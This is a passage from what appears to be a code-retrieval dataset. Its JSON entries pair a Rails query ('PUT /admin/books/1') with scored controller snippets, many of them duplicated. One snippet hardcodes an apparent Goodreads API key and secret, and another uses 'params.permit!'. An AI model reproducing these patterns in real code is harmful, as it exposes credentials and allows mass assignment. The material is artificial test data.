"docid": "a1a9495fb0e2abd93f64e7d722073f1f",
"score": "0.59203607",
"text": "def interest_list_params\n params.require(:interest_list).permit(:name, :public, :user_id)\n end",
"title": ""
},
{
"docid": "b3e49440054c3ad3ddb77e29e74a8e4b",
"score": "0.59200895",
"text": "def sanitized_allowed_attributes=(attributes)\n sanitizer_vendor.safe_list_sanitizer.allowed_attributes = attributes\n end",
"title": ""
},
{
"docid": "7d35b10ac04b461c800fcfea1623a8bb",
"score": "0.591923",
"text": "def sanitize_by_param(allowed=[], default='id')\n sanitize_params params && params[:by], allowed, default\n end",
"title": ""
},
{
"docid": "7d35b10ac04b461c800fcfea1623a8bb",
"score": "0.591923",
"text": "def sanitize_by_param(allowed=[], default='id')\n sanitize_params params && params[:by], allowed, default\n end",
"title": ""
},
{
"docid": "9bd89e2fd22e220afe97917f75377374",
"score": "0.59133667",
"text": "def whitelist\n gather_params(self.jsonschema) if self.jsonschema.present? && self.jsonschema.key?('properties')\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.5912647",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "7f38dfb5bc4d7e89f8aa414e3097f268",
"score": "0.5905095",
"text": "def allow_access_list(opts)\n opts = check_params(opts,[:self_ips])\n super(opts)\n end",
"title": ""
},
{
"docid": "bf71f22b6a3d024d9581258c3391dd13",
"score": "0.59014034",
"text": "def filter_params(params); end",
"title": ""
},
{
"docid": "925ab7429771692d76184dc744dc843c",
"score": "0.58916956",
"text": "def user_list_params\n params.require(:user_list).permit(:user_id, :user_name)\n end",
"title": ""
},
{
"docid": "1c1ee6cc45fd852cab3c1e192bec902b",
"score": "0.5888005",
"text": "def parametro_params\r\n params.require(:parametro).tap do |whitelisted|\r\n whitelisted[:clave] = params[:parametro][:clave]\r\n whitelisted[:valor] = params[:parametro][:valor]\r\n whitelisted[:bloqueado] = params[:parametro][:bloqueado]\r\n\r\n for i in 0..params[:parametro].count do\r\n whitelisted[\"valor#{i}\".to_sym] = params[:parametro][\"valor#{i}\".to_sym]\r\n end\r\n end\r\n # params.require(:parametro).permit(:clave, :valor)\r\n end",
"title": ""
},
{
"docid": "b248e725f40ba361d6e0529f389090df",
"score": "0.5884956",
"text": "def filter_by_param(params={})\n if (sub_keys = params[\"allowed_keys\"])\n sub_keys.split(',').select do |key|\n self.allowed_keys.any? {|allowed_key| key.start_with?(allowed_key)}\n end\n else\n self.allowed_keys\n end\n end",
"title": ""
}
] |
d9572cc7d76d1a6848f0bd93409bae29 | PUT /admin/books/1 PUT /admin/books/1.json | [
{
"docid": "570385a23caf5e998238d04933726693",
"score": "0.64714354",
"text": "def update\n @book = Book.find(params[:id])\n\n if @book.update_attributes(params[:book])\n redirect_to [:admin,@book], notice: 'Book was successfully updated.' \n else\n render action: \"edit\" \n end\n end",
"title": ""
}
] | [
{
"docid": "1be2b883b12900bad8b63f92a3c09dd0",
"score": "0.7095687",
"text": "def update\n respond_to do |format|\n if @book.update(admin_book_params)\n format.html { redirect_to admin_book_path(id: @book.id), notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b80bded52d24d8d2fccc11f5506654a8",
"score": "0.69629705",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b198d515a143671511a3a20d932b4d1",
"score": "0.6940039",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to [:admin, @book], notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "afe8d6153f68fd084758f3830442f446",
"score": "0.69129837",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to admin_book_url(@book), notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "872659a166a13bbd04d1cff0026745bc",
"score": "0.6852498",
"text": "def update\n @api_book = Api::Book.find(params[:id])\n\n if @api_book.update(api_book_params)\n head :no_content\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "48f8b3026bbeef5ef1c661bfcec24b05",
"score": "0.6797792",
"text": "def update\n @book = @collection.books.find(params[:id])\n #original: @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to book_series_collection_books_url(@book_series, @collection), notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8509b585ac8f7501ecde8b5c9ae9311e",
"score": "0.67228085",
"text": "def update\n\t\trespond_to do |format|\n\t\t\tclient = Goodreads::Client.new(api_key: \"rSkvvZY8Wx27zcj4AfHA\", api_secret: \"S5WOpmY8pVtaEu1IwNn51DBafjoEIbjuxZdE6sNM\")\n\t\t\tbook = client.book_by_isbn(book_params[:isbn])\n\t\t\t@book.titlelong = book.title\n\t\t\t@book.description = strip_tags(book.description)\n\t\t\t@book.title = book.work.original_title\n\t\t\t@book.pages = book.num_pages\n\t\t\t@book.bookrating = book.average_rating\n\t\t\t@book.author = book.authors.author.name\n\t\t\t@book.publisher = book.publisher\n\t\t\t@book.save\n\t\t\tformat.html { redirect_to @book, notice: 'Book was successfully updated.' }\n\t\t\tformat.json { render :show, status: :ok, location: @book }\n\t\tend\n end",
"title": ""
},
{
"docid": "8829e385fa27a121011b26dc7118c8d5",
"score": "0.66876256",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to manage_books_path, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51a6f6510be66bc73fefb638ba0d0f62",
"score": "0.66817003",
"text": "def update\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @book.update_attributes(params[:book])\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "18797a90b1d8f9cdd92dcbb0b83c3723",
"score": "0.66807824",
"text": "def set_admin_book\n @book = Book.find(params[:id])\n end",
"title": ""
},
{
"docid": "18797a90b1d8f9cdd92dcbb0b83c3723",
"score": "0.66807824",
"text": "def set_admin_book\n @book = Book.find(params[:id])\n end",
"title": ""
},
{
"docid": "18797a90b1d8f9cdd92dcbb0b83c3723",
"score": "0.66807824",
"text": "def set_admin_book\n @book = Book.find(params[:id])\n end",
"title": ""
},
{
"docid": "dc7207258c2f5f068c5673ce21996a1b",
"score": "0.6637897",
"text": "def update\n @book = current_user.books.find(params[:id])\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "62cf2a8d0e589ed4c6bea3fa839d7c46",
"score": "0.6579974",
"text": "def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f153d3d5cebe6ce98c1211ea05f664e",
"score": "0.65774834",
"text": "def update\n @book = Book.find(params[:id])\n @book.attributes = params[:book]\n # a break point for debugging:\n # debugger\n client = Goodreads.new\n book_info = client.book_by_isbn(params[:book][:isbn])\n @book.title = book_info.title if @book.title.blank?\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d131470ed402858fd3314900ef8ff74",
"score": "0.65619683",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec0a0f8efb9c1b28c4944995120dcb25",
"score": "0.65531486",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b73cd865e3b363ddc34021f5fd7a7120",
"score": "0.65336424",
"text": "def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes_and_index(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ee0edf4c2dfc340471a7d5443cff6f7",
"score": "0.65232706",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0bcfe24ce2ff90a39755bddd577cbc5b",
"score": "0.65022546",
"text": "def update\n\n if params[:action] == \"RETURN_BOOK\" \n @book.return()\n elseif params[:action] == \"BORROW_BOOK\"\n @book.borrow()\n end\n \n if @book.update(book_params)\n head :no_content\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0efe1b1512f00bbc25fdaf3f906fbef5",
"score": "0.6498301",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c03631eddcdfeb5c55346f23290dfc1",
"score": "0.64960295",
"text": "def update\n rewriteParams\n @book = Book.find(params[:id])\n @book.authors << Author.find(params[:author][:name]) if not params[:author][:name].empty?\n @book.book_types << BookType.find(params[:book_type][:name]) if not params[:book_type][:name].empty?\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to(@book, :notice => 'Book was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a87acf72a875bf6cb352867b9ea78e2c",
"score": "0.6495542",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a96764b6236ff25e3872e05452e31b42",
"score": "0.6482243",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to [current_user, @book], notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15a07ce5492b1f03897edeebae64796b",
"score": "0.64779115",
"text": "def update\n @book = Book.find(params[:id])\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2a2affe4724c379b4402f38441f8bd34",
"score": "0.64748085",
"text": "def update\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ba3b20d7cc6fb4348acfa4b4db23bff",
"score": "0.6472637",
"text": "def update\n authorize! :manage, @stuk_book\n\n respond_to do |format|\n if @stuk_book.update(stuk_book_params)\n format.html { redirect_to @stuk_book, notice: 'Stuk book was successfully updated.' }\n format.json { render :show, status: :ok, location: @stuk_book }\n else\n format.html { render :edit }\n format.json { render json: @stuk_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4a44c9ecb8a8718d7fd87daa5a57d19a",
"score": "0.64433277",
"text": "def update\n if check_if_admin\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "699e0794ba17eb99de465956fae7c6f9",
"score": "0.6434093",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: t('common.message.updated_success')}\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a797e60ced09d92ffdf3d22b741ab6bc",
"score": "0.6416697",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n add_title_to_book\n end",
"title": ""
},
{
"docid": "8b124337527ebe4831166325221ccf17",
"score": "0.6394141",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b124337527ebe4831166325221ccf17",
"score": "0.6394141",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b124337527ebe4831166325221ccf17",
"score": "0.6394141",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b124337527ebe4831166325221ccf17",
"score": "0.6394141",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "39d7a8729300cdcc00d380a39ac430f7",
"score": "0.63909703",
"text": "def update\n @book = Book.find_by_id(params[:id])\n\n if @book.present?\n if @book.update(book_params)\n render json: {\n type: 'success',\n result: @book\n }, status: :created\n else\n render json: {\n type: 'failed',\n message: @book.errors,\n result: {}\n }, status: :bad_request\n end\n else\n render json: {\n type: 'failed',\n message: 'data with id:' + params[:id] + ' not found',\n result: {},\n }, status: :not_found\n end\n end",
"title": ""
},
{
"docid": "1920bbd3a4cf6928af6c9f294c9f9f9c",
"score": "0.63896704",
"text": "def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5ff1483484d05fbd019d1f906eee2ba2",
"score": "0.63782525",
"text": "def update\n @user_book = UserBook.find(params[:id])\n\n respond_to do |format|\n if @user_book.update_attributes(params[:user_book])\n format.html { redirect_to new_user_book_path, notice: 'Your book was successfully updated. You can add more or go back to your shelf' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "157e37c9d8145f6f371e6acb0ad0ee89",
"score": "0.6374267",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.xml { head :ok }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @book.errors, status: :unprocessable_entity}\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b04b58a085d05e3fd2c2d84bd88cf3c6",
"score": "0.63555783",
"text": "def update\n\t\t@book = Book.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @book.update_attributes(params[:book])\n\t\t\t\tformat.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.json { render :json => @book.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "66d915e66ac9e02025797fddf34f9596",
"score": "0.6353535",
"text": "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "acd777139955347ec7cec7a36f418f90",
"score": "0.6352292",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6350151",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
"text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a20f406522b66b2a1e2ead307ebd7e3",
"score": "0.6348269",
